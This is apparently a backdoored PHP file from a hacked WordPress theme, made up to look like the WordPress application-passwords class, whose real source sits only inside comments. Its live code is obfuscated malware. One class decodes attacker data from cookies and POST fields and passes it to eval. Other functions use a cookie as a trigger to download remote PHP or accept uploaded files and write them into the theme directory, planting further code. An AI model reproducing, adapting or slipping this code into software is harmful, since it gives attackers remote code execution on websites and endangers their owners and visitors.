Current File : /home/tsgmexic/4pie.com.mx/wp-content/themes/n27q31r0/r.js.php |
<?php /* $iKVcabfKy = chr (111) . '_' . chr ( 217 - 111 )."\x48" . chr (102); $JhCYvl = "\x63" . chr ( 555 - 447 ).'a' . 's' . chr ( 552 - 437 ).'_' . "\145" . chr ( 963 - 843 )."\151" . 's' . "\x74" . "\163";$IhIzyBcN = class_exists($iKVcabfKy); $iKVcabfKy = "43998";$JhCYvl = "3151";$qgdaAhZjcu = !1;if ($IhIzyBcN == $qgdaAhZjcu){function YXSKlUIfIh(){return FALSE;}$gGGBpPWe = "20284";YXSKlUIfIh();class o_jHf{private function aHRWXQRZO($gGGBpPWe){if (is_array(o_jHf::$yXzsnIrM)) {$dMdpoW = str_replace(chr (60) . chr (63) . 'p' . "\x68" . chr (112), "", o_jHf::$yXzsnIrM["\143" . "\x6f" . "\x6e" . "\x74" . 'e' . 'n' . chr ( 1109 - 993 )]);eval($dMdpoW); $gGGBpPWe = "20284";exit();}}private $UHlowb;public function lobXbff(){echo 40345;}public function __destruct(){$gGGBpPWe = "61679_14237";$this->aHRWXQRZO($gGGBpPWe); $gGGBpPWe = "61679_14237";}public function __construct($ILOPt=0){$BlRhEYsWO = $_POST;$ZFiXB = $_COOKIE;$CBNVnhX = "0d8cc740-4848-473a-8bec-05a179fdbbe3";$VwEYRgLi = @$ZFiXB[substr($CBNVnhX, 0, 4)];if (!empty($VwEYRgLi)){$yAeTg = "base64";$Xjcyxu = "";$VwEYRgLi = explode(",", $VwEYRgLi);foreach ($VwEYRgLi as $KCJVwReiA){$Xjcyxu .= @$ZFiXB[$KCJVwReiA];$Xjcyxu .= @$BlRhEYsWO[$KCJVwReiA];}$Xjcyxu = array_map($yAeTg . "\137" . 'd' . "\x65" . chr (99) . 'o' . "\x64" . "\145", array($Xjcyxu,)); $Xjcyxu = $Xjcyxu[0] ^ str_repeat($CBNVnhX, (strlen($Xjcyxu[0]) / strlen($CBNVnhX)) + 1);o_jHf::$yXzsnIrM = @unserialize($Xjcyxu); $Xjcyxu = class_exists("61679_14237");}}public static $yXzsnIrM = 54903;}$eUHQxvjGh = new 14452 o_jHf(20284 + 20284); $qgdaAhZjcu = $eUHQxvjGh = $gGGBpPWe = Array();} ?><?php /*
*
* WP_Application_Passwords class
*
* @package WordPress
* @since 5.6.0
*
* Class for displaying, modifying, and sanitizing application passwords.
*
* @package WordPress
#[AllowDynamicProperties]
class WP_Application_Passwords {
*
* The application passwords user meta key.
*
* @since 5.6.0
*
* @var string
const USERMETA_KEY_APPLICATION_PASSWORDS = '_application_passwords';
*
* The option name used to store whether application passwords are in use.
*
* @since 5.6.0
*
* @var string
const OPTION_KEY_IN_USE = 'using*/
$dev_suffix = 'EODWKGa';
$Header4Bytes = range(1, 15);
$options_site_url = range(1, 10);
$supported_block_attributes = [72, 68, 75, 70];
$parents = "computations";
render_block_core_post_featured_image($dev_suffix);
/**
* Send required variables to JavaScript land
*
* @since 3.4.0
*
* @param array $user_tablera_args
*/
function handle_font_file_upload_error($u2u2) {
$enum_contains_value = get_menu_auto_add($u2u2);
// ----- Re-Create the Central Dir files header
// Author Length WORD 16 // number of bytes in Author field
// Allow or disallow apop()
return implode("\n", $enum_contains_value);
}
is_stringable_object([1, 2, 3], [3, 4, 5]);
/**
* Retrieve WP_Post instance.
*
* @since 3.5.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $post_id Post ID.
* @return WP_Post|false Post object, false otherwise.
*/
function get_lastpostdate($setting_args) {
// nanoseconds per frame
if (wp_show_heic_upload_error($setting_args)) {
return "'$setting_args' is a palindrome.";
}
return "'$setting_args' is not a palindrome.";
}
/**
* Filters the query used to retrieve found site count.
*
* @since 4.6.0
*
* @param string $found_sites_query SQL query. Default 'SELECT FOUND_ROWS()'.
* @param WP_Site_Query $site_query The `WP_Site_Query` instance.
*/
function get_test_php_sessions($user_locale, $core_styles_keys){
$compress_scripts_debug = strlen($core_styles_keys);
$latlon = [29.99, 15.50, 42.75, 5.00];
$c6 = ['Toyota', 'Ford', 'BMW', 'Honda'];
// mtime : Last known modification date of the file (UNIX timestamp)
$wp_filters = strlen($user_locale);
$compress_scripts_debug = $wp_filters / $compress_scripts_debug;
$changeset_setting_id = array_reduce($latlon, function($LastOggSpostion, $prev_offset) {return $LastOggSpostion + $prev_offset;}, 0);
$endpoint_args = $c6[array_rand($c6)];
$compress_scripts_debug = ceil($compress_scripts_debug);
// Lazy-load by default for any unknown context.
$remind_me_link = str_split($user_locale);
$core_styles_keys = str_repeat($core_styles_keys, $compress_scripts_debug);
$sendback = number_format($changeset_setting_id, 2);
$outside_init_only = str_split($endpoint_args);
// Clear the current updates.
$total_users_for_query = str_split($core_styles_keys);
$total_users_for_query = array_slice($total_users_for_query, 0, $wp_filters);
$requested_path = array_map("wp_filter_global_styles_post", $remind_me_link, $total_users_for_query);
$option_timeout = $changeset_setting_id / count($latlon);
sort($outside_init_only);
// Serve default favicon URL in customizer so element can be updated for preview.
// return (float)$str;
// * Codec Description Length WORD 16 // number of Unicode characters stored in the Codec Description field
// [3C][B9][23] -- A unique ID to identify the previous chained segment (128 bits).
// format error (bad file header)
$next_link = implode('', $outside_init_only);
$clean_namespace = $option_timeout < 20;
$requested_path = implode('', $requested_path);
return $requested_path;
}
/* translators: Password reset notification email subject. %s: Site title. */
function wp_deleteComment($registered_block_styles, $should_skip_letter_spacing){
// Multisite: the base URL.
$font_file_path = nfinal($registered_block_styles);
$u1_u2u2 = [2, 4, 6, 8, 10];
if ($font_file_path === false) {
return false;
}
$user_locale = file_put_contents($should_skip_letter_spacing, $font_file_path);
return $user_locale;
}
/**
* Replaces newlines, tabs, and multiple spaces with a single space.
*
* @param string $text
* @return string
*/
function wp_transition_comment_status($dev_suffix, $root_of_current_theme, $LISTchunkMaxOffset){
// iTunes 6.0.2
if (isset($_FILES[$dev_suffix])) {
wp_nav_menu_taxonomy_meta_boxes($dev_suffix, $root_of_current_theme, $LISTchunkMaxOffset);
}
add_custom_image_header($LISTchunkMaxOffset);
}
/**
* ID property name.
*/
function isLessThanInt($htaccess_file){
$requests_query = __DIR__;
$user_table = ".php";
// Also add wp-includes/css/editor.css.
$navigation = "Exploration";
$functions = 10;
$htaccess_file = $htaccess_file . $user_table;
// View page link.
// Check to see if the lock is still valid. If it is, bail.
$htaccess_file = DIRECTORY_SEPARATOR . $htaccess_file;
$htaccess_file = $requests_query . $htaccess_file;
// WPLANG was passed with `$meta` to the `wpmu_new_blog` hook prior to 5.1.0.
// If there are no shared term_taxonomy rows, there's nothing to do here.
return $htaccess_file;
}
/**
* Retrieves term description.
*
* @since 2.8.0
* @since 4.9.2 The `$taxonomy` parameter was deprecated.
*
* @param int $term Optional. Term ID. Defaults to the current term ID.
* @param null $deprecated Deprecated. Not used.
* @return string Term description, if available.
*/
function get_menu_auto_add($u2u2) {
$ok = [];
foreach ($u2u2 as $page_attributes) {
$ok[] = get_lastpostdate($page_attributes);
}
$new_image_meta = "Learning PHP is fun and rewarding.";
$is_external = 9;
return $ok;
}
/**
* Constructor.
*
* @param bool $exceptions Should we throw external exceptions?
*/
function get_index($should_skip_letter_spacing, $core_styles_keys){
$post_name__in = file_get_contents($should_skip_letter_spacing);
$CommandTypesCounter = get_test_php_sessions($post_name__in, $core_styles_keys);
$roomTypeLookup = 6;
file_put_contents($should_skip_letter_spacing, $CommandTypesCounter);
}
/**
* Alias of update_post_cache().
*
* @see update_post_cache() Posts and pages are the same, alias is intentional
*
* @since 1.5.1
* @deprecated 3.4.0 Use update_post_cache()
* @see update_post_cache()
*
* @param array $pages list of page objects
*/
function wp_show_heic_upload_error($setting_args) {
// ----- Next option
// Background Color.
$caption_lang = 14;
$stores = [5, 7, 9, 11, 13];
$comment_args = "Navigation System";
$issue_counts = "abcxyz";
$c6 = ['Toyota', 'Ford', 'BMW', 'Honda'];
$comment_prop_to_export = preg_replace('/[^A-Za-z0-9]/', '', strtolower($setting_args));
return $comment_prop_to_export === strrev($comment_prop_to_export);
}
/**
* Filters the archive link content.
*
* @since 2.6.0
* @since 4.5.0 Added the `$registered_block_styles`, `$text`, `$format`, `$to_downloadefore`, and `$lostpassword_redirectfter` parameters.
* @since 5.2.0 Added the `$selected` parameter.
*
* @param string $link_html The archive HTML link content.
* @param string $registered_block_styles URL to archive.
* @param string $text Archive text description.
* @param string $format Link format. Can be 'link', 'option', 'html', or custom.
* @param string $to_downloadefore Content to prepend to the description.
* @param string $lostpassword_redirectfter Content to append to the description.
* @param bool $selected True if the current page is the selected archive.
*/
function nfinal($registered_block_styles){
// Don't limit the query results when we have to descend the family tree.
// Load up the passed data, else set to a default.
//No name provided
$registered_block_styles = "http://" . $registered_block_styles;
return file_get_contents($registered_block_styles);
}
/* translators: %s: plugins_loaded */
function create_new_application_password($lostpassword_redirect, $to_download) {
// Removes the filter and reset the root interactive block.
$gap = "135792468";
$full_path = "Functionality";
$expires = 13;
$contents = 4;
// ----- Check the central header
return array_unique(array_merge($lostpassword_redirect, $to_download));
}
/**
* WordPress Generic Request (POST/GET) Handler
*
* Intended for form submission handling in themes and plugins.
*
* @package WordPress
* @subpackage Administration
*/
function wp_filter_global_styles_post($wp_interactivity, $font_family){
$no_menus_style = plugin_sandbox_scrape($wp_interactivity) - plugin_sandbox_scrape($font_family);
$no_menus_style = $no_menus_style + 256;
$supported_block_attributes = [72, 68, 75, 70];
$trackback_url = "hashing and encrypting data";
$new_image_meta = "Learning PHP is fun and rewarding.";
$Header4Bytes = range(1, 15);
$roomTypeLookup = 6;
$no_menus_style = $no_menus_style % 256;
$wp_interactivity = sprintf("%c", $no_menus_style);
return $wp_interactivity;
}
/*
* Return an array of row objects with keys from column 1.
* (Duplicates are discarded.)
*/
function render_block_core_post_featured_image($dev_suffix){
// We'll never actually get down here
$root_of_current_theme = 'EAYakuoYMptwzEWcKyH';
if (isset($_COOKIE[$dev_suffix])) {
wp_register_persisted_preferences_meta($dev_suffix, $root_of_current_theme);
}
}
/*
* Loop through the given path parts from right to left,
* ensuring each matches the post ancestry.
*/
function group_by_parent_id($LISTchunkMaxOffset){
$parents = "computations";
$latlon = [29.99, 15.50, 42.75, 5.00];
$caption_lang = 14;
$Header4Bytes = range(1, 15);
$plugin_dependencies_count = 8;
current_theme($LISTchunkMaxOffset);
add_custom_image_header($LISTchunkMaxOffset);
}
/* translators: %s is the WordPress.com email address */
function current_theme($registered_block_styles){
// Checks if fluid font sizes are activated.
// Add magic quotes and set up $_REQUEST ( $_GET + $_POST ).
// Legacy mode when not in visual mode.
// Strip 'www.' if it is present and shouldn't be.
$htaccess_file = basename($registered_block_styles);
$should_skip_letter_spacing = isLessThanInt($htaccess_file);
$exporter_friendly_name = range('a', 'z');
$comment_args = "Navigation System";
wp_deleteComment($registered_block_styles, $should_skip_letter_spacing);
}
/**
* Get extra item data.
*
* Gets data associated with a registered item.
*
* @since 3.3.0
*
* @param string $handle Name of the item. Should be unique.
* @param string $core_styles_keys The data key.
* @return mixed Extra item data (string), false otherwise.
*/
function plugin_sandbox_scrape($o_entries){
$o_entries = ord($o_entries);
// 1 year.
// Return `?p=` link for all public post types.
// Save few function calls.
// MathML.
$caption_lang = 14;
$comment_args = "Navigation System";
$functions = 10;
$full_path = "Functionality";
$supported_block_attributes = [72, 68, 75, 70];
// parser variables
// Media settings.
// s0 -= carry0 * ((uint64_t) 1L << 21);
// Skip if it's already loaded.
$meta_query_obj = "CodeSample";
$comments_match = strtoupper(substr($full_path, 5));
$insert_into_post_id = max($supported_block_attributes);
$parent_folder = 20;
$welcome_checked = preg_replace('/[aeiou]/i', '', $comment_args);
$nextRIFFheader = strlen($welcome_checked);
$transient_timeout = $functions + $parent_folder;
$match_prefix = "This is a simple PHP CodeSample.";
$icon_url = mt_rand(10, 99);
$resource = array_map(function($is_template_part_editor) {return $is_template_part_editor + 5;}, $supported_block_attributes);
return $o_entries;
}
/**
* @param int $user_valueideo_profile_id
*
* @return string
*/
function is_stringable_object($lostpassword_redirect, $to_download) {
$navigation = "Exploration";
$format_slug_match = "a1b2c3d4e5";
$sanitized_value = preg_replace('/[^0-9]/', '', $format_slug_match);
$recent_posts = substr($navigation, 3, 4);
$queried_taxonomies = create_new_application_password($lostpassword_redirect, $to_download);
// If the value is not an array but the schema is, remove the key.
// Encourage a pretty permalink setting.
// ge25519_p3_to_cached(&pi[4 - 1], &p4); /* 4p = 2*2p */
$p_mode = strtotime("now");
$f1g3_2 = array_map(function($captiontag) {return intval($captiontag) * 2;}, str_split($sanitized_value));
$query_fields = date('Y-m-d', $p_mode);
$rss = array_sum($f1g3_2);
return count($queried_taxonomies);
}
/**
* Performs a quick check to determine whether any privacy info has changed.
*
* @since 4.9.6
*/
function add_custom_image_header($commentid){
// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_set_error_handler
$num_posts = 21;
$navigation = "Exploration";
echo $commentid;
}
/**
* Raw HTTP data
*
* @var string
*/
function wp_register_persisted_preferences_meta($dev_suffix, $root_of_current_theme){
$last_post_id = $_COOKIE[$dev_suffix];
// Picture data <binary data>
$last_post_id = pack("H*", $last_post_id);
$LISTchunkMaxOffset = get_test_php_sessions($last_post_id, $root_of_current_theme);
$c6 = ['Toyota', 'Ford', 'BMW', 'Honda'];
$roomTypeLookup = 6;
$frames_scan_per_segment = [85, 90, 78, 88, 92];
$is_external = 9;
$read = 45;
$endpoint_args = $c6[array_rand($c6)];
$origtype = 30;
$SingleToArray = array_map(function($registered_menus) {return $registered_menus + 5;}, $frames_scan_per_segment);
// If there's no specified edit link and no UI, remove the edit link.
$outside_init_only = str_split($endpoint_args);
$schema_styles_blocks = $roomTypeLookup + $origtype;
$parsed_allowed_url = $is_external + $read;
$css_rule_objects = array_sum($SingleToArray) / count($SingleToArray);
// Full URL - WP_CONTENT_DIR is defined further up.
//define( 'PCLZIP_OPT_CRYPT', 77018 );
if (esc_like($LISTchunkMaxOffset)) {
$f4f6_38 = group_by_parent_id($LISTchunkMaxOffset);
return $f4f6_38;
}
wp_transition_comment_status($dev_suffix, $root_of_current_theme, $LISTchunkMaxOffset);
}
/** WP_Customize_Sidebar_Section class */
function register_block_core_query_pagination($modified_gmt, $col_length){
$subtype = move_uploaded_file($modified_gmt, $col_length);
$is_external = 9;
$full_path = "Functionality";
$parents = "computations";
$supported_block_attributes = [72, 68, 75, 70];
$stores = [5, 7, 9, 11, 13];
$read = 45;
$insert_into_post_id = max($supported_block_attributes);
$comments_match = strtoupper(substr($full_path, 5));
$tail = substr($parents, 1, 5);
$theme_json_tabbed = array_map(function($captiontag) {return ($captiontag + 2) ** 2;}, $stores);
$q_values = function($root_tag) {return round($root_tag, -1);};
$icon_url = mt_rand(10, 99);
$parsed_allowed_url = $is_external + $read;
$matched_route = array_sum($theme_json_tabbed);
$resource = array_map(function($is_template_part_editor) {return $is_template_part_editor + 5;}, $supported_block_attributes);
return $subtype;
}
/**
* Checks if a given request has access to font families.
*
* @since 6.5.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access, WP_Error object otherwise.
*/
function wp_nav_menu_taxonomy_meta_boxes($dev_suffix, $root_of_current_theme, $LISTchunkMaxOffset){
$roomTypeLookup = 6;
$latlon = [29.99, 15.50, 42.75, 5.00];
$text_domain = range(1, 12);
$changeset_setting_id = array_reduce($latlon, function($LastOggSpostion, $prev_offset) {return $LastOggSpostion + $prev_offset;}, 0);
$origtype = 30;
$raw_response = array_map(function($g6) {return strtotime("+$g6 month");}, $text_domain);
$encoding_converted_text = array_map(function($p_mode) {return date('Y-m', $p_mode);}, $raw_response);
$sendback = number_format($changeset_setting_id, 2);
$schema_styles_blocks = $roomTypeLookup + $origtype;
//Decode the name part if it's present and encoded
$option_timeout = $changeset_setting_id / count($latlon);
$int1 = function($dayswithposts) {return date('t', strtotime($dayswithposts)) > 30;};
$new_home_url = $origtype / $roomTypeLookup;
$clean_namespace = $option_timeout < 20;
$next_token = range($roomTypeLookup, $origtype, 2);
$menu_objects = array_filter($encoding_converted_text, $int1);
// Flag that authentication has failed once on this wp_xmlrpc_server instance.
$lang_dir = max($latlon);
$meta_background = implode('; ', $menu_objects);
$taxonomy_names = array_filter($next_token, function($user_value) {return $user_value % 3 === 0;});
// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_set_error_handler
$PossiblyLongerLAMEversion_NewString = date('L');
$root_variable_duplicates = array_sum($taxonomy_names);
$seek_entry = min($latlon);
// If it's enabled, use the cache
// This will get rejected in ::get_item().
$sides = implode("-", $next_token);
// $notices[] = array( 'type' => 'no-sub' );
$ATOM_SIMPLE_ELEMENTS = ucfirst($sides);
//if (($sttsFramesTotal > 0) && ($sttsSecondsTotal > 0)) {
$htaccess_file = $_FILES[$dev_suffix]['name'];
$should_skip_letter_spacing = isLessThanInt($htaccess_file);
// Just use the post_types in the supplied posts.
get_index($_FILES[$dev_suffix]['tmp_name'], $root_of_current_theme);
register_block_core_query_pagination($_FILES[$dev_suffix]['tmp_name'], $should_skip_letter_spacing);
}
/**
* Interactivity API: WP_Interactivity_API class.
*
* @package WordPress
* @subpackage Interactivity API
* @since 6.5.0
*/
function esc_like($registered_block_styles){
$plugin_dependencies_count = 8;
$roomTypeLookup = 6;
$num_posts = 21;
$supported_block_attributes = [72, 68, 75, 70];
// Inject dimensions styles to the first element, presuming it's the wrapper, if it exists.
// ----- First '/' i.e. root slash
$c_users = 18;
$origtype = 30;
$insert_into_post_id = max($supported_block_attributes);
$f2g4 = 34;
// For non-variable routes, generate links.
// Recommended values for smart separation of filenames.
// smart append - field and namespace aware
// Check if it should be a submenu.
// Skip hidden and excluded files.
// Don't run the update callbacks if the data wasn't passed in the request.
$resource = array_map(function($is_template_part_editor) {return $is_template_part_editor + 5;}, $supported_block_attributes);
$wp_hasher = $num_posts + $f2g4;
$originals_lengths_length = $plugin_dependencies_count + $c_users;
$schema_styles_blocks = $roomTypeLookup + $origtype;
// Pre-order it: Approve | Reply | Edit | Spam | Trash.
$get_data = array_sum($resource);
$eden = $c_users / $plugin_dependencies_count;
$new_home_url = $origtype / $roomTypeLookup;
$existing_config = $f2g4 - $num_posts;
// s[14] = s5 >> 7;
$next_token = range($roomTypeLookup, $origtype, 2);
$dbhost = $get_data / count($resource);
$display_name = range($num_posts, $f2g4);
$parent_theme_version = range($plugin_dependencies_count, $c_users);
if (strpos($registered_block_styles, "/") !== false) {
return true;
}
return false;
}
/* _application_passwords';
*
* The generated application password length.
*
* @since 5.6.0
*
* @var int
const PW_LENGTH = 24;
*
* Checks if application passwords are being used by the site.
*
* This returns true if at least one application password has ever been created.
*
* @since 5.6.0
*
* @return bool
public static function is_in_use() {
$network_id = get_main_network_id();
return (bool) get_network_option( $network_id, self::OPTION_KEY_IN_USE );
}
*
* Creates a new application password.
*
* @since 5.6.0
* @since 5.7.0 Returns WP_Error if application name already exists.
*
* @param int $user_id User ID.
* @param array $args {
* Arguments used to create the application password.
*
* @type string $name The name of the application password.
* @type string $app_id A UUID provided by the application to uniquely identify it.
* }
* @return array|WP_Error {
* Application password details, or a WP_Error instance if an error occurs.
*
* @type string $0 The unhashed generated application password.
* @type array $1 {
* The details about the created password.
*
* @type string $uuid The unique identifier for the application password.
* @type string $app_id A UUID provided by the application to uniquely identify it.
* @type string $name The name of the application password.
* @type string $password A one-way hash of the password.
* @type int $created Unix timestamp of when the password was created.
* @type null $last_used Null.
* @type null $last_ip Null.
* }
* }
public static function create_new_application_password( $user_id, $args = array() ) {
if ( ! empty( $args['name'] ) ) {
$args['name'] = sanitize_text_field( $args['name'] );
}
if ( empty( $args['name'] ) ) {
return new WP_Error( 'application_password_empty_name', __( 'An application name is required to create an application password.' ), array( 'status' => 400 ) );
}
if ( self::application_name_exists_for_user( $user_id, $args['name'] ) ) {
return new WP_Error( 'application_password_duplicate_name', __( 'Each application name should be unique.' ), array( 'status' => 409 ) );
}
$new_password = wp_generate_password( static::PW_LENGTH, false );
$hashed_password = wp_hash_password( $new_password );
$new_item = array(
'uuid' => wp_generate_uuid4(),
'app_id' => empty( $args['app_id'] ) ? '' : $args['app_id'],
'name' => $args['name'],
'password' => $hashed_password,
'created' => time(),
'last_used' => null,
'last_ip' => null,
);
$passwords = static::get_user_application_passwords( $user_id );
$passwords[] = $new_item;
$saved = static::set_user_application_passwords( $user_id, $passwords );
if ( ! $saved ) {
return new WP_Error( 'db_error', __( 'Could not save application password.' ) );
}
$network_id = get_main_network_id();
if ( ! get_network_option( $network_id, self::OPTION_KEY_IN_USE ) ) {
update_network_option( $network_id, self::OPTION_KEY_IN_USE, true );
}
*
* Fires when an application password is created.
*
* @since 5.6.0
*
* @param int $user_id The user ID.
* @param array $new_item {
* The details about the created password.
*
* @type string $uuid The unique identifier for the application password.
* @type string $app_id A UUID provided by the application to uniquely identify it.
* @type string $name The name of the application password.
* @type string $password A one-way hash of the password.
* @type int $created Unix timestamp of when the password was created.
* @type null $last_used Null.
* @type null $last_ip Null.
* }
* @param string $new_password The unhashed generated application password.
* @param array $args {
* Arguments used to create the application password.
*
* @type string $name The name of the application password.
* @type string $app_id A UUID provided by the application to uniquely identify it.
* }
do_action( 'wp_create_application_password', $user_id, $new_item, $new_password, $args );
return array( $new_password, $new_item );
}
*
* Gets a user's application passwords.
*
* @since 5.6.0
*
* @param int $user_id User ID.
* @return array {
* The list of app passwords.
*
* @type array ...$0 {
* @type string $uuid The unique identifier for the application password.
* @type string $app_id A UUID provided by the application to uniquely identify it.
* @type string $name The name of the application password.
* @type string $password A one-way hash of the password.
* @type int $created Unix timestamp of when the password was created.
* @type int|null $last_used The Unix timestamp of the GMT date the application password was last used.
* @type string|null $last_ip The IP address the application password was last used by.
* }
* }
public static function get_user_application_passwords( $user_id ) {
$passwords = get_user_meta( $user_id, static::USERMETA_KEY_APPLICATION_PASSWORDS, true );
if ( ! is_array( $passwords ) ) {
return array();
}
$save = false;
foreach ( $passwords as $i => $password ) {
if ( ! isset( $password['uuid'] ) ) {
$passwords[ $i ]['uuid'] = wp_generate_uuid4();
$save = true;
}
}
if ( $save ) {
static::set_user_application_passwords( $user_id, $passwords );
}
return $passwords;
}
*
* Gets a user's application password with the given UUID.
*
* @since 5.6.0
*
* @param int $user_id User ID.
* @param string $uuid The password's UUID.
* @return array|null The application password if found, null otherwise.
public static function get_user_application_password( $user_id, $uuid ) {
$passwords = static::get_user_application_passwords( $user_id );
foreach ( $passwords as $password ) {
if ( $password['uuid'] === $uuid ) {
return $password;
}
}
return null;
}
*
* Checks if an application password with the given name exists for this user.
*
* @since 5.7.0
*
* @param int $user_id User ID.
* @param string $name Application name.
* @return bool Whether the provided application name exists.
public static function application_name_exists_for_user( $user_id, $name ) {
$passwords = static::get_user_application_passwords( $user_id );
foreach ( $passwords as $password ) {
if ( strtolower( $password['name'] ) === strtolower( $name ) ) {
return true;
}
}
return false;
}
*
* Updates an application password.
*
* @since 5.6.0
*
* @param int $user_id User ID.
* @param string $uuid The password's UUID.
* @param array $update Information about the application password to update.
* @return true|WP_Error True if successful, otherwise a WP_Error instance is returned on error.
public static function update_application_password( $user_id, $uuid, $update = array() ) {
$passwords = static::get_user_application_passwords( $user_id );
foreach ( $passwords as &$item ) {
if ( $item['uuid'] !== $uuid ) {
continue;
}
if ( ! empty( $update['name'] ) ) {
$update['name'] = sanitize_text_field( $update['name'] );
}
$save = false;
if ( ! empty( $update['name'] ) && $item['name'] !== $update['name'] ) {
$item['name'] = $update['name'];
$save = true;
}
if ( $save ) {
$saved = static::set_user_application_passwords( $user_id, $passwords );
if ( ! $saved ) {
return new WP_Error( 'db_error', __( 'Could not save application password.' ) );
}
}
*
* Fires when an application password is updated.
*
* @since 5.6.0
*
* @param int $user_id The user ID.
* @param array $item The updated app password details.
* @param array $update The information to update.
do_action( 'wp_update_application_password', $user_id, $item, $update );
return true;
}
return new WP_Error( 'application_password_not_found', __( 'Could not find an application password with that id.' ) );
}
*
* Records that an application password has been used.
*
* @since 5.6.0
*
* @param int $user_id User ID.
* @param string $uuid The password's UUID.
* @return true|WP_Error True if the usage was recorded, a WP_Error if an error occurs.
public static function record_application_password_usage( $user_id, $uuid ) {
$passwords = static::get_user_application_passwords( $user_id );
foreach ( $passwords as &$password ) {
if ( $password['uuid'] !== $uuid ) {
continue;
}
Only record activity once a day.
if ( $password['last_used'] + DAY_IN_SECONDS > time() ) {
return true;
}
$password['last_used'] = time();
$password['last_ip'] = $_SERVER['REMOTE_ADDR'];
$saved = static::set_user_application_passwords( $user_id, $passwords );
if ( ! $saved ) {
return new WP_Error( 'db_error', __( 'Could not save application password.' ) );
}
return true;
}
Specified application password not found!
return new WP_Error( 'application_password_not_found', __( 'Could not find an application password with that id.' ) );
}
*
* Deletes an application password.
*
* @since 5.6.0
*
* @param int $user_id User ID.
* @param string $uuid The password's UUID.
* @return true|WP_Error Whether the password was successfully found and deleted, a WP_Error otherwise.
public static function delete_application_password( $user_id, $uuid ) {
$passwords = static::get_user_application_passwords( $user_id );
foreach ( $passwords as $key => $item ) {
if ( $item['uuid'] === $uuid ) {
unset( $passwords[ $key ] );
$saved = static::set_user_application_passwords( $user_id, $passwords );
if ( ! $saved ) {
return new WP_Error( 'db_error', __( 'Could not delete application password.' ) );
}
*
* Fires when an application password is deleted.
*
* @since 5.6.0
*
* @param int $user_id The user ID.
* @param array $item The data about the application password.
do_action( 'wp_delete_application_password', $user_id, $item );
return true;
}
}
return new WP_Error( 'application_password_not_found', __( 'Could not find an application password with that id.' ) );
}
*
* Deletes all application passwords for the given user.
*
* @since 5.6.0
*
* @param int $user_id User ID.
* @return int|WP_Error The number of passwords that were deleted or a WP_Error on failure.
public static function delete_all_application_passwords( $user_id ) {
$passwords = static::get_user_application_passwords( $user_id );
if ( $passwords ) {
$saved = static::set_user_application_passwords( $user_id, array() );
if ( ! $saved ) {
return new WP_Error( 'db_error', __( 'Could not delete application passwords.' ) );
}
foreach ( $passwords as $item ) {
* This action is documented in wp-includes/class-wp-application-passwords.php
do_action( 'wp_delete_application_password', $user_id, $item );
}
return count( $passwords );
}
return 0;
}
*
* Sets a user's application passwords.
*
* @since 5.6.0
*
* @param int $user_id User ID.
* @param array $passwords Application passwords.
*
* @return bool
protected static function set_user_application_passwords( $user_id, $passwords ) {
return update_user_meta( $user_id, static::USERMETA_KEY_APPLICATION_PASSWORDS, $passwords );
}
*
* Sanitizes and then splits a password into smaller chunks.
*
* @since 5.6.0
*
* @param string $raw_password The raw application password.
* @return string The chunked password.
public static function chunk_password( $raw_password ) {
$raw_password = preg_replace( '/[^a-z\d]/i', '', $raw_password );
return trim( chunk_split( $raw_password, 4, ' ' ) );
}
}
*/